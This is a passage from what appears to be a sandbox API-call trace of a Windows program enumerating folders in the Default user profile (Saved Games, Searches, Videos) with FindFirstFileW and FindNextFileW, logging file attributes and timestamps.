ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.435] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.436] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.436] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.436] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.436] GetLastError () returned 0x12 [0126.436] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.437] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0126.437] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0126.437] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0126.437] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.437] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.437] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.437] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.437] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.437] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.438] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.438] GetLastError () returned 0x12 [0126.438] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.438] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.438] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.438] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.438] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.438] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.439] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.439] GetLastError () returned 0x12 [0126.439] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.439] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0126.439] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.439] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.439] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.447] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.447] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.447] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.447] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.447] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0126.447] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.447] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.447] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0126.447] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.447] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.447] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0126.447] GetLastError () returned 0x12 [0126.447] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.449] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.451] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.451] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.451] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.452] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.452] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0126.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0126.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0126.452] GetLastError () returned 0x12 [0126.452] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.454] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0126.454] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0126.454] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0126.454] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0126.454] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.454] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.454] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.455] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.455] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.455] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.455] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.455] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.455] GetLastError () returned 0x12 [0126.455] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.456] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.456] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.456] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.456] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.456] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.456] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.456] FindNextFileW (in: hFindFile=0x6aa040, 